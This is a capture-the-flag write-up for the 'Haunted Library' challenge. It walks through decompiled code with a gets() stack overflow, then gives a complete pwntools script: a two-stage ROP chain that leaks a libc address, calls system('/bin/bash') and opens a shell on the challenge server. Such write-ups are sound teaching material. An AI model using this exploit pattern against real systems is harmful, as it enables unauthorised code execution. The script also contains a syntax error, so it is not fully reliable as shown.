haunted library
DEADFACE appear to be using this program as a way to let potential new recruits view info on their server, while restricting access to more important files… I tried my hand at it, but i didnt get too far before hitting a wall. I do have some discoveries that might help you, though: 1.) I dont think we’ll be able to put shellcode on the stack… 2.) getting started was a nightmare! but I found a program that makes it wayyy easier: https://github.com/io12/pwninit
We have a program that displays a menu with three options. The first lists available books, which are simply text files in the current directory. The second asks us to enter a book name and then prints the contents of that file. The third exits the program. Since the binary is not stripped of symbols, we can use any reverse-engineering tool to decompile it.
main(0)
setvbuf(fp: __TMC_END__, buf: nullptr, mode: 2, size: 0)
setvbuf(fp: stdin, buf: nullptr, mode: 2, size: 0)
print_library()
puts(str: "=====================================")
puts(str: "Welcome to the Haunted Library...")
puts(str: "=====================================")
while (true)
menu()
printf(format: "> ")
int32_t var_c
if (__isoc23_scanf(0x402055, &var_c) != 1)
puts(str: "The librarian doesn")
exit(status: 1)
noreturn
getchar()
int32_t rax_4 = var_c
if (rax_4 == 3)
break
if (rax_4 == 1)
peruse()
continue
else if (rax_4 == 2)
checkout()
continue
puts(str: "Make up your mind!\n")
leave()
noreturnperuse()
puts(str: "\nYou wander the dusty shelves and see:")
DIR* dirp = opendir(name: ".")
if (dirp == 0)
return puts(str: "But the shelves are empty...")
while (true)
struct dirent64* rax_6 = readdir(dirp)
if (rax_6 == 0)
break
if (rax_6->d_name[0] != 0x2e)
printf(format: "- %s\n", &rax_6->d_name)
return closedir(dirp)checkout()
{
puts("\nWhich book do you dare open?");
printf("> ");
char var_58[0x47];
gets(&var_58);
if (strcmp(&var_58, "BookOfTheDead.txt") && !strchr(&var_58, 0x2f)
&& !strstr(&var_58, ".."))
{
FILE* fp = fopen(&var_58, U"r");
if (!fp)
return printf(
"\nYou could have sworn you saw a book called '%s'...\n \n but as you look "
"closer, it was nowhere to be found.\n",
&var_58);
printf("\n====== %s ======\n", &var_58);
while (true)
{
char rax_10 = fgetc(fp);
if (rax_10 == 0xff)
break;
putchar((int32_t)rax_10);
}
puts("\n================");
return fclose(fp);
}
return puts("That tome is forbidden!!! The librarian's wrathful gaze burns into you. ");
}
some interesting observations about the checkout() function and the binary:
uses
gets()to take user input.we cannot open the
BookOfTheDead.txtfile, which likely contains the flag.no stack canary, which will allow us overflow the input buffer.
the binary has NX enabled so we cannot use shellcode. we can use ROP chains, as the challenge provides us with libc and loader.
the function also has the function called book_of_the_dead() which is never called, that prints the address of the puts function. this will helps us calculate where libc is loaded in memory. luckily, PIE is disabled, so we can simply jump to this function.
our ROP chain will have two parts:
payload 1
return to
book_of_the_dead().calculate libc's base address.
return to
mainagain.
payload 2
call
getsto read/bin/bashfrom the user.call
systemwith/bin/bashstring.
before we write our exploit we can use pwninit to path our binary to use the local libc and loader.
final exploit:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./hauntedlibrary_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
script = '''
set disassembly-flavor intel
break main
b checkout
display/5i $rip
display/30xg $rsp
display/x $rdi
display/x $rsi
display/x $rdx
display/x $rcx
'''
def conn():
if args.L:
r = process([exe.path])
if args.GDB:
return gdb.debug(exe.path, gdbscript=script)
else:
r = remote("env02.deadface.io",7832)
return r
def main():
r = conn()
offset = cyclic_find(0x6161617861616177)
botd = p64(exe.sym['book_of_the_dead'])
main = p64(exe.sym['main'])
# payload 1 - leak buts and call main
payload = [
b'2\r',
b'A'*offset,
botd,
main
]
payload = b''.join(payload)
r.sendline(payload)
r.recvuntil(b'puts(): ')
leak = r.recvn(14)
leak = int(leak, 16)
print("LEAK: " + str(hex(leak)))
# calculate libc base and other addresses
libcbase = leak - 0x82c80
print("LIBCBASE: " + str(hex(libcbase)))
pop_rdi = p64(libcbase + 0x0000000000102dea)
pop_rsi = p64(libcbase + 0x0000000000053887)
pop_rdx_xor_eax = p64(libcbase + 0x00000000000d77bd)
pop_rcx_0 = p64(libcbase + 0x0000000000049513)
system = p64(libcbase + libc.sym['system'])
writable = p64(libcbase + 0x208000 + 0x1000 + 0x1000)
gets = p64(exe.plt['gets'])
# payload 2 - call read(buffer) (/bin/bash) and system(/bin/bash)
payload = [
b'2\r',
b'A'*offset,
pop_rdi,
writable,
gets,
pop_rdi,
writable,
system,
main
]
payload = b''.join(payload)
r.sendline(payload)
r.sendline(b"/bin/bash")
r.sendline(b'whoami)
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()Last updated